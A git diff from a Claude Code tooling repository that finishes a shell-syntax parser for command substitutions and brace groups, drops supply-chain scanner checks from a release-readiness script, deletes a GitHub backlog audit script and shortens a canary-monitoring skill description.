if (inner === '(') depth += 1;
|
||||
else if (inner === ')') depth -= 1;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
i -= 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '`') {
|
||||
i += 1;
|
||||
while (i < source.length && source[i] !== '`') {
|
||||
if (source[i] === '\\' && i + 1 < source.length) {
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '(') {
|
||||
let depth = 1;
|
||||
let skipInSingle = false;
|
||||
let skipInDouble = false;
|
||||
i += 1;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
const innerPrev = source[i - 1];
|
||||
if (inner === '\\' && !skipInSingle) {
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
|
||||
skipInSingle = !skipInSingle;
|
||||
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
|
||||
skipInDouble = !skipInDouble;
|
||||
} else if (!skipInSingle && !skipInDouble) {
|
||||
if (inner === '(') depth += 1;
|
||||
else if (inner === ')') depth -= 1;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
i -= 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '{' && /\s/.test(source[i + 1] || '')) {
|
||||
const prevIsBoundary = i === 0 || /[\s;|&(]/.test(prev);
|
||||
if (!prevIsBoundary) continue;
|
||||
|
||||
let depth = 1;
|
||||
let body = '';
|
||||
let bodyInSingle = false;
|
||||
let bodyInDouble = false;
|
||||
i += 1;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
const innerPrev = source[i - 1];
|
||||
if (inner === '\\' && !bodyInSingle) {
|
||||
body += inner;
|
||||
if (i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
|
||||
bodyInSingle = !bodyInSingle;
|
||||
body += inner;
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
if (inner === '"' && !bodyInSingle && innerPrev !== '\\') {
|
||||
bodyInDouble = !bodyInDouble;
|
||||
body += inner;
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
if (bodyInSingle || bodyInDouble) {
|
||||
body += inner;
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
// Skip $(...) spans — a quoted `}` or `}`-as-text inside a
|
||||
// substitution body must not close the enclosing brace group.
|
||||
if (inner === '$' && source[i + 1] === '(') {
|
||||
body += inner + source[i + 1];
|
||||
let subDepth = 1;
|
||||
let subInSingle = false;
|
||||
let subInDouble = false;
|
||||
i += 2;
|
||||
while (i < source.length && subDepth > 0) {
|
||||
const c = source[i];
|
||||
const p = source[i - 1];
|
||||
body += c;
|
||||
if (c === '\\' && !subInSingle && i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
|
||||
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
|
||||
else if (!subInSingle && !subInDouble) {
|
||||
if (c === '(') subDepth += 1;
|
||||
else if (c === ')') subDepth -= 1;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
// Skip backtick spans for the same reason.
|
||||
if (inner === '`') {
|
||||
body += inner;
|
||||
i += 1;
|
||||
while (i < source.length && source[i] !== '`') {
|
||||
if (source[i] === '\\' && i + 1 < source.length) {
|
||||
body += source[i] + source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
body += source[i];
|
||||
i += 1;
|
||||
}
|
||||
if (i < source.length) {
|
||||
body += source[i];
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
// Skip plain (...) subshell spans for the same reason.
|
||||
if (inner === '(') {
|
||||
body += inner;
|
||||
let subDepth = 1;
|
||||
let subInSingle = false;
|
||||
let subInDouble = false;
|
||||
i += 1;
|
||||
while (i < source.length && subDepth > 0) {
|
||||
const c = source[i];
|
||||
const p = source[i - 1];
|
||||
body += c;
|
||||
if (c === '\\' && !subInSingle && i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (c === "'" && !subInDouble && p !== '\\') subInSingle = !subInSingle;
|
||||
else if (c === '"' && !subInSingle && p !== '\\') subInDouble = !subInDouble;
|
||||
else if (!subInSingle && !subInDouble) {
|
||||
if (c === '(') subDepth += 1;
|
||||
else if (c === ')') subDepth -= 1;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (inner === '{' && /\s/.test(source[i + 1] || '')) {
|
||||
// Match the outer-scan boundary rule for nested `{` so
|
||||
// tokens like `foo{` (no boundary, but followed by space
|
||||
// via `foo{ bar`) cannot bump nested depth.
|
||||
const nestedPrevIsBoundary = /[\s;|&(]/.test(innerPrev);
|
||||
if (nestedPrevIsBoundary) depth += 1;
|
||||
} else if (inner === '}' && (innerPrev === ';' || /\s/.test(innerPrev))) {
|
||||
depth -= 1;
|
||||
if (depth === 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
body += inner;
|
||||
i += 1;
|
||||
}
|
||||
if (body.trim()) {
|
||||
groups.push(body);
|
||||
groups.push(...extractBraceGroups(body));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return groups;
|
||||
}
|
||||
|
||||
module.exports = { extractCommandSubstitutions, extractSubshellGroups, extractBraceGroups };
|
||||
@@ -291,9 +291,7 @@ function buildChecks(rootDir) {
|
||||
pass: fileExists(rootDir, 'docs/releases/2.0.0-rc.1/publication-readiness.md')
|
||||
&& fileExists(rootDir, 'docs/releases/2.0.0-rc.1/publication-evidence-2026-05-13-post-hardening.md')
|
||||
&& fileExists(rootDir, 'docs/security/supply-chain-incident-response.md')
|
||||
&& fileExists(rootDir, 'scripts/ci/scan-supply-chain-iocs.js')
|
||||
&& fileExists(rootDir, 'scripts/ci/validate-workflow-security.js')
|
||||
&& fileExists(rootDir, 'tests/ci/scan-supply-chain-iocs.test.js')
|
||||
&& fileExists(rootDir, 'tests/ci/validate-workflow-security.test.js')
|
||||
&& fileExists(rootDir, 'tests/scripts/npm-publish-surface.test.js')
|
||||
&& fileExists(rootDir, 'tests/docs/ecc2-release-surface.test.js')
|
||||
@@ -318,10 +316,6 @@ function buildChecks(rootDir) {
|
||||
&& includesAll(supplyChainIncidentResponse, [
|
||||
'TanStack',
|
||||
'Mini Shai-Hulud',
|
||||
'scan-supply-chain-iocs.js',
|
||||
'gh-token-monitor',
|
||||
'.claude/settings.json',
|
||||
'.vscode/tasks.json',
|
||||
'npm audit signatures',
|
||||
'trusted publishing',
|
||||
'pull_request_target',
|
||||
|
||||
@@ -1,630 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
'use strict';
|
||||
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { spawnSync } = require('child_process');
|
||||
|
||||
const SCHEMA_VERSION = 'ecc.platform-audit.v1';
|
||||
const DEFAULT_REPOS = Object.freeze([
|
||||
'affaan-m/everything-claude-code',
|
||||
'affaan-m/agentshield',
|
||||
'affaan-m/JARVIS',
|
||||
'ECC-Tools/ECC-Tools',
|
||||
'ECC-Tools/ECC-website',
|
||||
]);
|
||||
const DEFAULT_THRESHOLDS = Object.freeze({
|
||||
maxOpenPrs: 20,
|
||||
maxOpenIssues: 20,
|
||||
maxDirtyFiles: 0,
|
||||
});
|
||||
const MAINTAINER_ASSOCIATIONS = new Set(['OWNER', 'MEMBER', 'COLLABORATOR']);
|
||||
const DISCUSSION_QUERY = 'query($owner: String!, $name: String!, $first: Int!) { repository(owner: $owner, name: $name) { hasDiscussionsEnabled discussions(first: $first, orderBy: {field: UPDATED_AT, direction: DESC}) { totalCount nodes { number title url updatedAt authorAssociation comments(first: 20) { nodes { authorAssociation } } } } } }';
|
||||
|
||||
function usage() {
|
||||
console.log([
|
||||
'Usage: node scripts/platform-audit.js [options]',
|
||||
'',
|
||||
'Operator readiness audit for ECC queue, discussion, roadmap, release, and security evidence.',
|
||||
'',
|
||||
'Options:',
|
||||
' --format <text|json> Output format (default: text)',
|
||||
' --root <dir> Repository root to inspect (default: cwd)',
|
||||
' --repo <owner/repo> GitHub repo to inspect; repeatable',
|
||||
' --skip-github Skip live GitHub queue/discussion checks',
|
||||
' --max-open-prs <n> Fail when open PR count is above n (default: 20)',
|
||||
' --max-open-issues <n> Fail when open issue count is above n (default: 20)',
|
||||
' --max-dirty-files <n> Fail when blocking dirty file count is above n (default: 0)',
|
||||
' --allow-untracked <path> Ignore untracked files under path; repeatable',
|
||||
' --use-env-github-token Keep GITHUB_TOKEN when invoking gh',
|
||||
' --exit-code Return 2 when the audit is not ready',
|
||||
' --help, -h Show this help',
|
||||
].join('\n'));
|
||||
}
|
||||
|
||||
function readValue(args, index, flagName) {
|
||||
const value = args[index + 1];
|
||||
if (!value || value.startsWith('--')) {
|
||||
throw new Error(`${flagName} requires a value`);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
function parseIntegerFlag(value, flagName) {
|
||||
const parsed = Number.parseInt(value, 10);
|
||||
if (!Number.isFinite(parsed) || parsed < 0) {
|
||||
throw new Error(`Invalid ${flagName}: ${value}`);
|
||||
}
|
||||
return parsed;
|
||||
}
|
||||
|
||||
function parseArgs(argv) {
|
||||
const args = argv.slice(2);
|
||||
const parsed = {
|
||||
allowUntracked: [],
|
||||
exitCode: false,
|
||||
format: 'text',
|
||||
help: false,
|
||||
repos: [],
|
||||
root: path.resolve(process.cwd()),
|
||||
skipGithub: false,
|
||||
thresholds: { ...DEFAULT_THRESHOLDS },
|
||||
useEnvGithubToken: false,
|
||||
};
|
||||
|
||||
for (let index = 0; index < args.length; index += 1) {
|
||||
const arg = args[index];
|
||||
|
||||
if (arg === '--help' || arg === '-h') {
|
||||
parsed.help = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--format') {
|
||||
parsed.format = readValue(args, index, arg).toLowerCase();
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--format=')) {
|
||||
parsed.format = arg.slice('--format='.length).toLowerCase();
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--root') {
|
||||
parsed.root = path.resolve(readValue(args, index, arg));
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--root=')) {
|
||||
parsed.root = path.resolve(arg.slice('--root='.length));
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--repo') {
|
||||
parsed.repos.push(readValue(args, index, arg));
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--repo=')) {
|
||||
parsed.repos.push(arg.slice('--repo='.length));
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--skip-github') {
|
||||
parsed.skipGithub = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--allow-untracked') {
|
||||
parsed.allowUntracked.push(readValue(args, index, arg));
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--allow-untracked=')) {
|
||||
parsed.allowUntracked.push(arg.slice('--allow-untracked='.length));
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--max-open-prs') {
|
||||
parsed.thresholds.maxOpenPrs = parseIntegerFlag(readValue(args, index, arg), arg);
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--max-open-prs=')) {
|
||||
parsed.thresholds.maxOpenPrs = parseIntegerFlag(arg.slice('--max-open-prs='.length), '--max-open-prs');
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--max-open-issues') {
|
||||
parsed.thresholds.maxOpenIssues = parseIntegerFlag(readValue(args, index, arg), arg);
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--max-open-issues=')) {
|
||||
parsed.thresholds.maxOpenIssues = parseIntegerFlag(arg.slice('--max-open-issues='.length), '--max-open-issues');
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--max-dirty-files') {
|
||||
parsed.thresholds.maxDirtyFiles = parseIntegerFlag(readValue(args, index, arg), arg);
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg.startsWith('--max-dirty-files=')) {
|
||||
parsed.thresholds.maxDirtyFiles = parseIntegerFlag(arg.slice('--max-dirty-files='.length), '--max-dirty-files');
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--use-env-github-token') {
|
||||
parsed.useEnvGithubToken = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (arg === '--exit-code') {
|
||||
parsed.exitCode = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
throw new Error(`Unknown argument: ${arg}`);
|
||||
}
|
||||
|
||||
if (!['text', 'json'].includes(parsed.format)) {
|
||||
throw new Error(`Invalid format: ${parsed.format}. Use text or json.`);
|
||||
}
|
||||
|
||||
parsed.allowUntracked = parsed.allowUntracked.map(normalizeRelativePrefix);
|
||||
|
||||
return parsed;
|
||||
}
|
||||
|
||||
function normalizeRelativePrefix(value) {
|
||||
return String(value || '')
|
||||
.replace(/\\/g, '/')
|
||||
.replace(/^\.\/+/, '')
|
||||
.replace(/\/+$/, '') + (String(value || '').endsWith('/') ? '/' : '');
|
||||
}
|
||||
|
||||
function runCommand(command, args, options = {}) {
|
||||
const result = spawnSync(command, args, {
|
||||
cwd: options.cwd,
|
||||
env: options.env || process.env,
|
||||
encoding: 'utf8',
|
||||
maxBuffer: 10 * 1024 * 1024,
|
||||
});
|
||||
|
||||
if (result.error) {
|
||||
throw new Error(`${command} ${args.join(' ')} failed: ${result.error.message}`);
|
||||
}
|
||||
|
||||
if (result.status !== 0) {
|
||||
throw new Error(`${command} ${args.join(' ')} failed: ${(result.stderr || result.stdout || '').trim()}`);
|
||||
}
|
||||
|
||||
return result.stdout || '';
|
||||
}
|
||||
|
||||
function runGhJson(args, options = {}) {
|
||||
const shimPath = process.env.ECC_GH_SHIM;
|
||||
const command = shimPath ? process.execPath : 'gh';
|
||||
const commandArgs = shimPath ? [shimPath, ...args] : args;
|
||||
const env = { ...process.env };
|
||||
|
||||
if (!options.useEnvGithubToken) {
|
||||
delete env.GITHUB_TOKEN;
|
||||
}
|
||||
|
||||
const stdout = runCommand(command, commandArgs, { env });
|
||||
try {
|
||||
return JSON.parse(stdout || 'null');
|
||||
} catch (error) {
|
||||
throw new Error(`gh ${args.join(' ')} returned invalid JSON: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
function readText(rootDir, relativePath) {
|
||||
try {
|
||||
return fs.readFileSync(path.join(rootDir, relativePath), 'utf8');
|
||||
} catch (_error) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
function safeParseJson(text) {
|
||||
if (!text || !text.trim()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return JSON.parse(text);
|
||||
} catch (_error) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function includesAll(text, needles) {
|
||||
return needles.every(needle => text.includes(needle));
|
||||
}
|
||||
|
||||
function buildCheck(id, status, summary, details = {}) {
|
||||
return { id, status, summary, ...details };
|
||||
}
|
||||
|
||||
function parseGitStatus(output) {
|
||||
const lines = output.split(/\r?\n/).filter(Boolean);
|
||||
const branchLine = lines[0] || '';
|
||||
const dirtyLines = lines.slice(1);
|
||||
return {
|
||||
branch: branchLine.replace(/^##\s*/, '') || null,
|
||||
dirtyLines,
|
||||
};
|
||||
}
|
||||
|
||||
function isAllowedUntracked(statusLine, allowUntracked) {
|
||||
if (!statusLine.startsWith('?? ')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const relativePath = statusLine.slice(3).replace(/\\/g, '/');
|
||||
return allowUntracked.some(prefix => relativePath === prefix || relativePath.startsWith(prefix));
|
||||
}
|
||||
|
||||
function inspectGit(rootDir, options) {
|
||||
try {
|
||||
const parsed = parseGitStatus(runCommand('git', ['status', '--short', '--branch'], { cwd: rootDir }));
|
||||
const ignoredDirty = parsed.dirtyLines.filter(line => isAllowedUntracked(line, options.allowUntracked));
|
||||
const blockingDirty = parsed.dirtyLines.filter(line => !isAllowedUntracked(line, options.allowUntracked));
|
||||
|
||||
return {
|
||||
available: true,
|
||||
branch: parsed.branch,
|
||||
dirtyLines: parsed.dirtyLines,
|
||||
ignoredDirty,
|
||||
blockingDirty,
|
||||
blockingDirtyCount: blockingDirty.length,
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
available: false,
|
||||
error: error.message,
|
||||
branch: null,
|
||||
dirtyLines: [],
|
||||
ignoredDirty: [],
|
||||
blockingDirty: [],
|
||||
blockingDirtyCount: 0,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
function discussionNeedsMaintainerTouch(discussion) {
|
||||
if (MAINTAINER_ASSOCIATIONS.has(discussion.authorAssociation)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const comments = discussion.comments && Array.isArray(discussion.comments.nodes)
|
||||
? discussion.comments.nodes
|
||||
: [];
|
||||
return !comments.some(comment => MAINTAINER_ASSOCIATIONS.has(comment.authorAssociation));
|
||||
}
|
||||
|
||||
function splitRepo(repo) {
|
||||
const [owner, name] = String(repo || '').split('/');
|
||||
if (!owner || !name) {
|
||||
throw new Error(`Invalid repo: ${repo}`);
|
||||
}
|
||||
return { owner, name };
|
||||
}
|
||||
|
||||
function fetchDiscussionSummary(repo, options) {
|
||||
const { owner, name } = splitRepo(repo);
|
||||
const payload = runGhJson([
|
||||
'api',
|
||||
'graphql',
|
||||
'-f',
|
||||
`owner=${owner}`,
|
||||
'-f',
|
||||
`name=${name}`,
|
||||
'-F',
|
||||
'first=100',
|
||||
'-f',
|
||||
`query=${DISCUSSION_QUERY}`,
|
||||
], options);
|
||||
const repository = payload && payload.data && payload.data.repository;
|
||||
const discussions = repository && repository.discussions;
|
||||
const nodes = discussions && Array.isArray(discussions.nodes) ? discussions.nodes : [];
|
||||
const needingTouch = nodes.filter(discussionNeedsMaintainerTouch);
|
||||
|
||||
return {
|
||||
enabled: Boolean(repository && repository.hasDiscussionsEnabled),
|
||||
totalCount: discussions && Number.isFinite(discussions.totalCount) ? discussions.totalCount : 0,
|
||||
sampledCount: nodes.length,
|
||||
needingMaintainerTouch: needingTouch.map(discussion => ({
|
||||
number: discussion.number,
|
||||
title: discussion.title,
|
||||
url: discussion.url,
|
||||
updatedAt: discussion.updatedAt,
|
||||
})),
|
||||
};
|
||||
}
|
||||
|
||||
function fetchGithubRepo(repo, options) {
|
||||
const prs = runGhJson([
|
||||
'pr',
|
||||
'list',
|
||||
'--repo',
|
||||
repo,
|
||||
'--state',
|
||||
'open',
|
||||
'--json',
|
||||
'number,title,isDraft,mergeStateStatus,updatedAt,url,author',
|
||||
], options);
|
||||
const issues = runGhJson([
|
||||
'issue',
|
||||
'list',
|
||||
'--repo',
|
||||
repo,
|
||||
'--state',
|
||||
'open',
|
||||
'--json',
|
||||
'number,title,updatedAt,url,author,labels',
|
||||
], options);
|
||||
const discussionSummary = fetchDiscussionSummary(repo, options);
|
||||
|
||||
return {
|
||||
repo,
|
||||
openPrs: Array.isArray(prs) ? prs.length : 0,
|
||||
openIssues: Array.isArray(issues) ? issues.length : 0,
|
||||
discussions: discussionSummary,
|
||||
dirtyPrs: (Array.isArray(prs) ? prs : []).filter(pr => pr.mergeStateStatus === 'DIRTY').map(pr => ({
|
||||
number: pr.number,
|
||||
title: pr.title,
|
||||
url: pr.url,
|
||||
})),
|
||||
};
|
||||
}
|
||||
|
||||
function buildGithubReport(options) {
|
||||
const repos = options.repos.length > 0 ? options.repos : DEFAULT_REPOS;
|
||||
|
||||
if (options.skipGithub) {
|
||||
return {
|
||||
skipped: true,
|
||||
repos: repos.map(repo => ({ repo, skipped: true })),
|
||||
totals: {
|
||||
openPrs: 0,
|
||||
openIssues: 0,
|
||||
discussionsNeedingMaintainerTouch: 0,
|
||||
dirtyPrs: 0,
|
||||
errors: 0,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
const repoReports = repos.map(repo => {
|
||||
try {
|
||||
return fetchGithubRepo(repo, options);
|
||||
} catch (error) {
|
||||
return {
|
||||
repo,
|
||||
error: error.message,
|
||||
openPrs: 0,
|
||||
openIssues: 0,
|
||||
discussions: {
|
||||
enabled: false,
|
||||
totalCount: 0,
|
||||
sampledCount: 0,
|
||||
needingMaintainerTouch: [],
|
||||
},
|
||||
dirtyPrs: [],
|
||||
};
|
||||
}
|
||||
});
|
||||
|
||||
return {
|
||||
skipped: false,
|
||||
repos: repoReports,
|
||||
totals: {
|
||||
openPrs: repoReports.reduce((sum, repo) => sum + repo.openPrs, 0),
|
||||
openIssues: repoReports.reduce((sum, repo) => sum + repo.openIssues, 0),
|
||||
discussionsNeedingMaintainerTouch: repoReports.reduce((sum, repo) => sum + repo.discussions.needingMaintainerTouch.length, 0),
|
||||
dirtyPrs: repoReports.reduce((sum, repo) => sum + repo.dirtyPrs.length, 0),
|
||||
errors: repoReports.filter(repo => repo.error).length,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function buildLocalEvidenceChecks(rootDir) {
|
||||
const packageJson = safeParseJson(readText(rootDir, 'package.json')) || {};
|
||||
const packageScripts = packageJson.scripts || {};
|
||||
const roadmap = readText(rootDir, 'docs/ECC-2.0-GA-ROADMAP.md');
|
||||
const progressSync = readText(rootDir, 'docs/architecture/progress-sync-contract.md');
|
||||
const supplyChain = readText(rootDir, 'docs/security/supply-chain-incident-response.md');
|
||||
const evidence = readText(rootDir, 'docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md');
|
||||
|
||||
return [
|
||||
buildCheck(
|
||||
'platform-audit-cli-surface',
|
||||
packageScripts['platform:audit'] === 'node scripts/platform-audit.js' ? 'pass' : 'fail',
|
||||
'package.json exposes the platform audit command',
|
||||
{ fix: 'Add "platform:audit": "node scripts/platform-audit.js" to package.json.' }
|
||||
),
|
||||
buildCheck(
|
||||
'roadmap-linear-mirror',
|
||||
includesAll(roadmap, ['linear.app/itomarkets/project/ecc-platform-roadmap', 'ITO-44', 'ITO-59']) ? 'pass' : 'fail',
|
||||
'repo roadmap mirrors the Linear roadmap and security/operator lanes',
|
||||
{ path: 'docs/ECC-2.0-GA-ROADMAP.md' }
|
||||
),
|
||||
buildCheck(
|
||||
'progress-sync-contract',
|
||||
includesAll(progressSync, ['GitHub PRs/issues/discussions', 'Linear project', 'local handoff', 'repo roadmap', 'scripts/work-items.js']) ? 'pass' : 'fail',
|
||||
'progress sync contract names GitHub, Linear, handoff, roadmap, and work-items surfaces',
|
||||
{ path: 'docs/architecture/progress-sync-contract.md' }
|
||||
),
|
||||
buildCheck(
|
||||
'supply-chain-runbook',
|
||||
includesAll(supplyChain, ['TanStack', 'Mini Shai-Hulud', 'node-ipc', 'scan-supply-chain-iocs.js']) ? 'pass' : 'fail',
|
||||
'supply-chain runbook covers the current TanStack/Mini Shai-Hulud/node-ipc scanner lane',
|
||||
{ path: 'docs/security/supply-chain-incident-response.md' }
|
||||
),
|
||||
buildCheck(
|
||||
'release-evidence-current',
|
||||
includesAll(evidence, ['TanStack', 'Mini Shai-Hulud', 'Node IPC follow-up', 'node-ipc', 'IOC scan']) ? 'pass' : 'fail',
|
||||
'rc.1 evidence includes current supply-chain verification artifacts',
|
||||
{ path: 'docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md' }
|
||||
),
|
||||
];
|
||||
}
|
||||
|
||||
function buildReport(options) {
|
||||
const rootDir = path.resolve(options.root);
|
||||
const git = inspectGit(rootDir, options);
|
||||
const github = buildGithubReport(options);
|
||||
const checks = [];
|
||||
|
||||
checks.push(buildCheck(
|
||||
'git-worktree-blockers',
|
||||
!git.available ? 'warn' : (git.blockingDirtyCount <= options.thresholds.maxDirtyFiles ? 'pass' : 'fail'),
|
||||
!git.available
|
||||
? 'git status is unavailable for this root'
|
||||
: `blocking dirty files: ${git.blockingDirtyCount}`,
|
||||
{
|
||||
branch: git.branch,
|
||||
ignoredDirtyCount: git.ignoredDirty.length,
|
||||
blockingDirty: git.blockingDirty,
|
||||
fix: 'Commit, stash, or explicitly allow unrelated untracked files before claiming release readiness.',
|
||||
}
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-fetch',
|
||||
github.skipped ? 'warn' : (github.totals.errors === 0 ? 'pass' : 'fail'),
|
||||
github.skipped ? 'live GitHub checks skipped' : `GitHub fetch errors: ${github.totals.errors}`,
|
||||
{ fix: 'Re-run with working gh authentication or ECC_GH_SHIM for deterministic tests.' }
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-open-pr-budget',
|
||||
github.totals.openPrs <= options.thresholds.maxOpenPrs ? 'pass' : 'fail',
|
||||
`open PRs: ${github.totals.openPrs}/${options.thresholds.maxOpenPrs}`,
|
||||
{ fix: 'Triage, merge, close, or attach open PRs to roadmap issues until under budget.' }
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-open-issue-budget',
|
||||
github.totals.openIssues <= options.thresholds.maxOpenIssues ? 'pass' : 'fail',
|
||||
`open issues: ${github.totals.openIssues}/${options.thresholds.maxOpenIssues}`,
|
||||
{ fix: 'Triage, close, or attach open issues to Linear/project lanes until under budget.' }
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-discussion-touch',
|
||||
github.totals.discussionsNeedingMaintainerTouch === 0 ? 'pass' : 'fail',
|
||||
`discussions needing maintainer touch: ${github.totals.discussionsNeedingMaintainerTouch}`,
|
||||
{ fix: 'Respond to or route discussions without maintainer touch before marking the queue current.' }
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-conflict-queue',
|
||||
github.totals.dirtyPrs === 0 ? 'pass' : 'fail',
|
||||
`conflicting open PRs: ${github.totals.dirtyPrs}`,
|
||||
{ fix: 'Update, rebase, salvage, or close conflicting open PRs.' }
|
||||
));
|
||||
|
||||
checks.push(...buildLocalEvidenceChecks(rootDir));
|
||||
|
||||
const topActions = checks
|
||||
.filter(check => check.status === 'fail')
|
||||
.map(check => ({
|
||||
id: check.id,
|
||||
summary: check.summary,
|
||||
fix: check.fix || 'Review and remediate this failed check.',
|
||||
}));
|
||||
|
||||
return {
|
||||
schema_version: SCHEMA_VERSION,
|
||||
generatedAt: new Date().toISOString(),
|
||||
root: rootDir,
|
||||
ready: topActions.length === 0,
|
||||
thresholds: options.thresholds,
|
||||
git,
|
||||
github,
|
||||
checks,
|
||||
top_actions: topActions,
|
||||
};
|
||||
}
|
||||
|
||||
function renderText(report) {
|
||||
const lines = [
|
||||
`ECC Platform Audit: ${report.ready ? 'ready' : 'attention required'}`,
|
||||
`Generated: ${report.generatedAt}`,
|
||||
`Root: ${report.root}`,
|
||||
'',
|
||||
`Git: ${report.git.available ? report.git.branch : 'unavailable'}`,
|
||||
`Blocking dirty files: ${report.git.blockingDirtyCount}`,
|
||||
`Ignored dirty files: ${report.git.ignoredDirty.length}`,
|
||||
'',
|
||||
`GitHub skipped: ${report.github.skipped ? 'yes' : 'no'}`,
|
||||
`Open PRs: ${report.github.totals.openPrs}/${report.thresholds.maxOpenPrs}`,
|
||||
`Open issues: ${report.github.totals.openIssues}/${report.thresholds.maxOpenIssues}`,
|
||||
`Discussions needing maintainer touch: ${report.github.totals.discussionsNeedingMaintainerTouch}`,
|
||||
`Conflicting open PRs: ${report.github.totals.dirtyPrs}`,
|
||||
'',
|
||||
'Checks:',
|
||||
];
|
||||
|
||||
for (const check of report.checks) {
|
||||
lines.push(` ${check.status.toUpperCase()} ${check.id}: ${check.summary}`);
|
||||
}
|
||||
|
||||
lines.push('', 'Top actions:');
|
||||
if (report.top_actions.length === 0) {
|
||||
lines.push(' none');
|
||||
} else {
|
||||
for (const action of report.top_actions) {
|
||||
lines.push(` - ${action.id}: ${action.fix}`);
|
||||
}
|
||||
}
|
||||
|
||||
return `${lines.join('\n')}\n`;
|
||||
}
|
||||
|
||||
function main() {
|
||||
try {
|
||||
const options = parseArgs(process.argv);
|
||||
if (options.help) {
|
||||
usage();
|
||||
return;
|
||||
}
|
||||
|
||||
const report = buildReport(options);
|
||||
const output = options.format === 'json'
|
||||
? `${JSON.stringify(report, null, 2)}\n`
|
||||
: renderText(report);
|
||||
process.stdout.write(output);
|
||||
|
||||
if (options.exitCode && !report.ready) {
|
||||
process.exitCode = 2;
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Error: ${error.message}`);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
if (require.main === module) {
|
||||
main();
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
buildReport,
|
||||
parseArgs,
|
||||
renderText,
|
||||
runGhJson,
|
||||
};
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: canary-watch
|
||||
description: Use this skill to monitor and verify a deployed URL after releases — checks HTTP endpoints, SSE streams, static assets, console errors, and performance regressions after deploys, merges, or dependency upgrades. Smoke / canary / post-deploy verification.
|
||||
description: Use this skill to monitor a deployed URL for regressions after deploys, merges, or dependency upgrades.
|
||||
origin: ECC
|
||||
---
|
||||
|
||||
@@ -27,8 +27,6 @@ Monitors a deployed URL for regressions. Runs in a loop until stopped or until t
|
||||
4. Performance — LCP/CLS/INP regression vs baseline?
|
||||
5. Content — did key elements disappear? (h1, nav, footer, CTA)
|
||||
6. API Health — are critical endpoints responding within SLA?
|
||||
